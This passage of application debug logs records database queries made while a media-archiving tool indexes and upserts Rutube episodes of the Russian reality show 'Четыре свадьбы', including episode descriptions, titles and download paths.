Раменского будет классическая свадьба с выкупом в стиле полёта на самолёте. Полина позовёт гостей в Череповец на свою бохо-свадьбу. Юлия из Ростова-на-Дону вместе с женихом устроит «перелёты» между столами-странами. А Ирина из Барабинска пригласит соперниц на свою свадьбу в стиле лофт с напитками собственного производства. Побывать на мероприятиях девушек поможет программа «Четыре свадьбы».", "Свадьба на стиле VS Свадьба на селе", "23827730f9a796a72723c8fb403b10d2", 5094, false, "https://rutube.ru/video/23827730f9a796a72723c8fb403b10d2/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e030800 - Свадьба на стиле VS Свадьба на селе.mp4", false, 1, ~U[2023-03-08 14:00:15Z]] 14:36:15.757 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=41.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.759 [debug] QUERY OK source="media_items" db=1.0ms idle=32.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-23 14:00:14Z], 1] 14:36:15.782 [debug] QUERY OK source="media_items" db=22.8ms idle=22.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Карина из Москвы, Ольга из Белореченска, Екатерина из Тольятти и Ирина из Саранска начинают свадебное противостояние! Карина позовёт конкуренток на своё венчание и «total black» торжество. У Ольги будет свадьба в стиле «день пограничника», а фишкой мероприятия станет домашняя кухня. На свадьбе Екатерины пройдут народные гуляния с баяном. А на классической свадьбе Ирины гости будут растроганы благословением родителей. Как девушки оценят мероприятия соперниц, увидим в программе «Четыре свадьбы».", "Богемный фуршет VS Свадьба пограничников", "d81c69ba-6090-4e6e-bf96-120fc34cd3ae", "269c40ccd71117258fb0c1013918cd8f", 5071, false, "https://rutube.ru/video/269c40ccd71117258fb0c1013918cd8f/", 46, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e022300 - Богемный фуршет VS Свадьба пограничников.mp4", false, false, false, 1, [], 1, ~U[2023-02-23 14:00:14Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Карина из Москвы, Ольга из Белореченска, Екатерина из Тольятти и Ирина из Саранска начинают свадебное противостояние! Карина позовёт конкуренток на своё венчание и «total black» торжество. У Ольги будет свадьба в стиле «день пограничника», а фишкой мероприятия станет домашняя кухня. На свадьбе Екатерины пройдут народные гуляния с баяном. А на классической свадьбе Ирины гости будут растроганы благословением родителей. Как девушки оценят мероприятия соперниц, увидим в программе «Четыре свадьбы».", "Богемный фуршет VS Свадьба пограничников", "269c40ccd71117258fb0c1013918cd8f", 5071, false, "https://rutube.ru/video/269c40ccd71117258fb0c1013918cd8f/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e022300 - Богемный фуршет VS Свадьба пограничников.mp4", false, 1, ~U[2023-02-23 14:00:14Z]] 14:36:15.785 [debug] QUERY OK source="sources" db=1.8ms idle=45.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.786 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=30.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-16 14:00:16Z], 1] 14:36:15.812 [debug] QUERY OK source="media_items" db=24.8ms idle=29.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты приглашают на свои мероприятия! Софья из Москвы ждёт гостей на своей свадьбе в современном стиле без ведущего. У Татьяны из Челябинска будет классическая свадьба, на которую они с женихом позовут самую сильную женщину России. На свадьбе в нюдовых тонах Марины из Кемерово удивлять гостей будет жених. А фишкой свадьбы Алины из Ижевска станет телега-бар. Смотрите программу «Четыре свадьбы»!", "Свадьба в фотостудии VS Классическая свадьба", "2cfe4818-3603-4d3e-b6d2-ec4fccd3659d", "8596f8b234d9fa4bcea22e763500bd50", 5786, false, "https://rutube.ru/video/8596f8b234d9fa4bcea22e763500bd50/", 47, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e031600 - Свадьба в фотостудии VS Классическая свадьба.mp4", false, false, false, 1, [], 1, ~U[2023-03-16 14:00:16Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "4 невесты приглашают на свои мероприятия! Софья из Москвы ждёт гостей на своей свадьбе в современном стиле без ведущего. У Татьяны из Челябинска будет классическая свадьба, на которую они с женихом позовут самую сильную женщину России. На свадьбе в нюдовых тонах Марины из Кемерово удивлять гостей будет жених. А фишкой свадьбы Алины из Ижевска станет телега-бар. Смотрите программу «Четыре свадьбы»!", "Свадьба в фотостудии VS Классическая свадьба", "8596f8b234d9fa4bcea22e763500bd50", 5786, false, "https://rutube.ru/video/8596f8b234d9fa4bcea22e763500bd50/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e031600 - Свадьба в фотостудии VS Классическая свадьба.mp4", false, 1, ~U[2023-03-16 14:00:16Z]] 14:36:15.815 [debug] QUERY OK source="sources" db=1.7ms queue=0.2ms idle=54.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.816 [debug] QUERY OK source="media_items" db=0.6ms idle=33.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-23 14:00:07Z], 1] 14:36:15.831 [debug] QUERY OK source="media_items" db=14.7ms idle=31.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ильмира, Елена, Алёна и Маргарита с нетерпением ждут гостей на своих свадьбах. У Ильмиры из Саратова будет свадьба с татарскими традициями. Елена из Фрязино отпразднует своё торжество на теплоходе. Фишкой свадьбы Алёны из Нижнего Новгорода станут экстремальные конкурсы. А свадьба Маргариты из Минеральных вод пройдёт с кавказским колоритом. Какие оценки конкурентки выставят друг другу, узнаем из программы «Четыре свадьбы».", "Татарская свадьба VS Свадьба на теплоходе", "a78e1e04-39ce-4238-a984-5d65e66e0f52", "374a08e152e15b4958784446dab159d8", 4986, false, "https://rutube.ru/video/374a08e152e15b4958784446dab159d8/", 48, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e032300 - Татарская свадьба VS Свадьба на теплоходе.mp4", false, false, false, 1, [], 1, ~U[2023-03-23 14:00:07Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Ильмира, Елена, Алёна и Маргарита с нетерпением ждут гостей на своих свадьбах. У Ильмиры из Саратова будет свадьба с татарскими традициями. Елена из Фрязино отпразднует своё торжество на теплоходе. Фишкой свадьбы Алёны из Нижнего Новгорода станут экстремальные конкурсы. А свадьба Маргариты из Минеральных вод пройдёт с кавказским колоритом. Какие оценки конкурентки выставят друг другу, узнаем из программы «Четыре свадьбы».", "Татарская свадьба VS Свадьба на теплоходе", "374a08e152e15b4958784446dab159d8", 4986, false, "https://rutube.ru/video/374a08e152e15b4958784446dab159d8/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e032300 - Татарская свадьба VS Свадьба на теплоходе.mp4", false, 1, ~U[2023-03-23 14:00:07Z]] 14:36:15.844 [debug] QUERY OK source="sources" db=12.1ms queue=0.1ms idle=46.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.845 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=33.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-30 14:00:13Z], 1] 14:36:15.858 [debug] QUERY OK source="media_items" db=11.5ms idle=31.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Магическая свадьба VS Сорванная свадьба", "6b40dd01-5278-4367-862b-39a53ad14b89", "ff84ec3f81134e39ed1741d23934a1bc", 5115, false, "https://rutube.ru/video/ff84ec3f81134e39ed1741d23934a1bc/", 49, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e033000 - Магическая свадьба VS Сорванная свадьба.mp4", false, false, false, 1, [], 1, ~U[2023-03-30 14:00:13Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Магическая свадьба VS Сорванная свадьба", "ff84ec3f81134e39ed1741d23934a1bc", 5115, false, "https://rutube.ru/video/ff84ec3f81134e39ed1741d23934a1bc/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e033000 - Магическая свадьба VS Сорванная свадьба.mp4", false, 1, ~U[2023-03-30 14:00:13Z]] 14:36:15.859 [debug] QUERY OK source="sources" db=1.3ms idle=42.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.860 [debug] QUERY OK source="media_items" db=0.5ms idle=28.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-06 14:00:07Z], 1] 14:36:15.873 [debug] QUERY OK source="media_items" db=11.5ms idle=16.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Новое противостояние невест начинается! У Юлии из Санкт-Петербурга будет классическая свадьба, на которой развлечёт гостей Чеширский Кот. Мария из Соснового Бора сама подготовит декор для своей свадьбы. Анжела из Красноярска решила сделать свадьбу в стиле «тотал блэк». А на брутальной свадьбе Татьяны из Екатеринбурга жених появится на экскаваторе. Какие ещё фишки придумали невесты для своих мероприятий, узнаем из программы «Четыре свадьбы».", "Свадьба миллионеров VS Свадьба экскаваторщиков", "a82a2a79-fb3d-4ef2-b322-0c25a6606bce", "603841f2d47f8ccf53308b1d3dad4ffc", 5344, false, "https://rutube.ru/video/603841f2d47f8ccf53308b1d3dad4ffc/", 50, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e040600 - Свадьба миллионеров VS Свадьба экскаваторщиков.mp4", false, false, false, 1, [], 1, ~U[2023-04-06 14:00:07Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Новое противостояние невест начинается! У Юлии из Санкт-Петербурга будет классическая свадьба, на которой развлечёт гостей Чеширский Кот. Мария из Соснового Бора сама подготовит декор для своей свадьбы. Анжела из Красноярска решила сделать свадьбу в стиле «тотал блэк». А на брутальной свадьбе Татьяны из Екатеринбурга жених появится на экскаваторе. Какие ещё фишки придумали невесты для своих мероприятий, узнаем из программы «Четыре свадьбы».", "Свадьба миллионеров VS Свадьба экскаваторщиков", "603841f2d47f8ccf53308b1d3dad4ffc", 5344, false, "https://rutube.ru/video/603841f2d47f8ccf53308b1d3dad4ffc/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e040600 - Свадьба миллионеров VS Свадьба экскаваторщиков.mp4", false, 1, ~U[2023-04-06 14:00:07Z]] 14:36:15.890 [debug] QUERY OK source="sources" db=16.8ms queue=0.1ms idle=27.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.891 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=33.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-13 14:00:14Z], 1] 14:36:15.905 [debug] QUERY OK source="media_items" db=12.6ms idle=32.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты пригашают на свои торжества. Фишкой свадьбы Олеси из Омска станет дрифт. У Маргариты из Соль-Илецка будет свадьба в классическом стиле с большим количеством гостей. Свадьба Евгении из Мурманска пройдёт с северными традициями. А Катя-Женя из Нахабино выберет для своей свадьбы стиль 90-х с регистрацией на баскетбольной площадке. Понравятся ли девушкам мероприятия соперниц, покажет программа «Четыре свадьбы».", "Свадьба с оленями VS Свадьба с гонщиками", "f65f25ec-2f7a-494d-9e5c-927ceb96f29c", "72cff79d152ac52a11ca1d228d42a5ea", 5117, false, "https://rutube.ru/video/72cff79d152ac52a11ca1d228d42a5ea/", 51, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e041300 - Свадьба с оленями VS Свадьба с гонщиками.mp4", false, false, false, 1, [], 1, ~U[2023-04-13 14:00:14Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "4 невесты пригашают на свои торжества. Фишкой свадьбы Олеси из Омска станет дрифт. У Маргариты из Соль-Илецка будет свадьба в классическом стиле с большим количеством гостей. Свадьба Евгении из Мурманска пройдёт с северными традициями. А Катя-Женя из Нахабино выберет для своей свадьбы стиль 90-х с регистрацией на баскетбольной площадке. Понравятся ли девушкам мероприятия соперниц, покажет программа «Четыре свадьбы».", "Свадьба с оленями VS Свадьба с гонщиками", "72cff79d152ac52a11ca1d228d42a5ea", 5117, false, "https://rutube.ru/video/72cff79d152ac52a11ca1d228d42a5ea/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e041300 - Свадьба с оленями VS Свадьба с гонщиками.mp4", false, 1, ~U[2023-04-13 14:00:14Z]] 14:36:15.907 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=45.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.909 [debug] QUERY OK source="media_items" db=1.0ms idle=35.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-20 14:00:08Z], 1] 14:36:15.930 [debug] QUERY OK source="media_items" db=20.8ms idle=19.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты пригласят на свои свадьбы и оценят торжества соперниц. Марина из Котельников устроит свадьбу-вечеринку, фишкой которой станет появление молодых на вертолёте. У Гульнары из Екатеринбурга будет свадьба с татарским колоритом. На классической свадьбе Анастасии из Великого Новгорода гостей попробуют удивить сыром из сыроварни. А свадьба Дарьи из Казани пройдёт в ресторане на воде. Как девушки будут развлекаться на мероприятиях соперниц, увидим в программе «Четыре свадьбы».", "Свадьба-вечеринка VS Свадьба с татарским колоритом", "4a98f4f5-95de-4417-beb4-069898681495", "645718aca15411725e27f4cabdc3cab5", 5293, false, "https://rutube.ru/video/645718aca15411725e27f4cabdc3cab5/", 52, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e042000 - Свадьба-вечеринка VS Свадьба с татарским колоритом.mp4", false, false, false, 1, [], 1, ~U[2023-04-20 14:00:08Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "4 невесты пригласят на свои свадьбы и оценят торжества соперниц. Марина из Котельников устроит свадьбу-вечеринку, фишкой которой станет появление молодых на вертолёте. У Гульнары из Екатеринбурга будет свадьба с татарским колоритом. На классической свадьбе Анастасии из Великого Новгорода гостей попробуют удивить сыром из сыроварни. А свадьба Дарьи из Казани пройдёт в ресторане на воде. Как девушки будут развлекаться на мероприятиях соперниц, увидим в программе «Четыре свадьбы».", "Свадьба-вечеринка VS Свадьба с татарским колоритом", "645718aca15411725e27f4cabdc3cab5", 5293, false, "https://rutube.ru/video/645718aca15411725e27f4cabdc3cab5/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e042000 - Свадьба-вечеринка VS Свадьба с татарским колоритом.mp4", false, 1, ~U[2023-04-20 14:00:08Z]] 14:36:15.940 [debug] QUERY OK source="sources" db=6.3ms queue=0.4ms idle=41.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.941 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=35.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-27 14:00:13Z], 1] 14:36:15.961 [debug] QUERY OK source="media_items" db=18.1ms idle=34.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебное противостояние начинается! Свадьба Елены из Санкт-Петербурга пройдёт в стиле «посиделки XIX века». У Натальи из Сорочинска будет русско-татарская свадьба. Анастасия из Новороссийска выбрала для своего торжества классический стиль с банкетом в средневековом замке. А фишкой свадьбы Валерии из Краснодара станут верблюды у ресторана. Чьё мероприятие будет оценено соперницами выше остальных, покажет программа «Четыре свадьбы».", "Свадьба в дачном стиле VS Свадьба в замке", "c6b73f69-d321-40e8-877c-1ed06af77d65", "0b37e00b3838b1bed9498bb2a38d2f5c", 5070, false, "https://rutube.ru/video/0b37e00b3838b1bed9498bb2a38d2f5c/", 53, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e042700 - Свадьба в дачном стиле VS Свадьба в замке.mp4", false, false, false, 1, [], 1, ~U[2023-04-27 14:00:13Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Свадебное противостояние начинается! Свадьба Елены из Санкт-Петербурга пройдёт в стиле «посиделки XIX века». У Натальи из Сорочинска будет русско-татарская свадьба. Анастасия из Новороссийска выбрала для своего торжества классический стиль с банкетом в средневековом замке. А фишкой свадьбы Валерии из Краснодара станут верблюды у ресторана. Чьё мероприятие будет оценено соперницами выше остальных, покажет программа «Четыре свадьбы».", "Свадьба в дачном стиле VS Свадьба в замке", "0b37e00b3838b1bed9498bb2a38d2f5c", 5070, false, "https://rutube.ru/video/0b37e00b3838b1bed9498bb2a38d2f5c/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e042700 - Свадьба в дачном стиле VS Свадьба в замке.mp4", false, 1, ~U[2023-04-27 14:00:13Z]] 14:36:15.975 [debug] QUERY OK source="sources" db=12.8ms queue=0.1ms idle=52.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.976 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=44.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-11 14:20:08Z], 1] 14:36:16.017 [debug] QUERY OK source="media_items" db=39.6ms idle=37.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты покажут свои свадьбы и сходят на мероприятия друг друга. У Евгении из Кореновска будет классическая свадьба, а развлекать соперниц невеста решила в парке аттракционов. Инита из Санкт-Петербурга сделает свадьбу с концепцией «На седьмом небе от счастья». Свадьба Алины из Новосибирска пройдёт в стиле современный минимализм. А Оксана из Санкт-Петербурга позовёт гостей на свою свадьбу «Розовый вечер». Чьё торжество больше остальных запомнится девушкам, узнаем из программы «Четыре свадьбы».", "Классическая свадьба VS Современный минимализм", "8ea80cac-b72d-449a-ae7a-ffea320b724d", "7b5f68ee9bc084c69b9f58c2f70ce35a", 5411, false, "https://rutube.ru/video/7b5f68ee9bc084c69b9f58c2f70ce35a/", 54, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e051100 - Классическая свадьба VS Современный минимализм.mp4", false, false, false, 1, [], 1, ~U[2023-05-11 14:20:08Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "4 невесты покажут свои свадьбы и сходят на мероприятия друг друга. У Евгении из Кореновска будет классическая свадьба, а развлекать соперниц невеста решила в парке аттракционов. Инита из Санкт-Петербурга сделает свадьбу с концепцией «На седьмом небе от счастья». Свадьба Алины из Новосибирска пройдёт в стиле современный минимализм. А Оксана из Санкт-Петербурга позовёт гостей на свою свадьбу «Розовый вечер». Чьё торжество больше остальных запомнится девушкам, узнаем из программы «Четыре свадьбы».", "Классическая свадьба VS Современный минимализм", "7b5f68ee9bc084c69b9f58c2f70ce35a", 5411, false, "https://rutube.ru/video/7b5f68ee9bc084c69b9f58c2f70ce35a/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e051100 - Классическая свадьба VS Современный минимализм.mp4", false, 1, ~U[2023-05-11 14:20:08Z]] 14:36:16.021 [debug] QUERY OK source="sources" 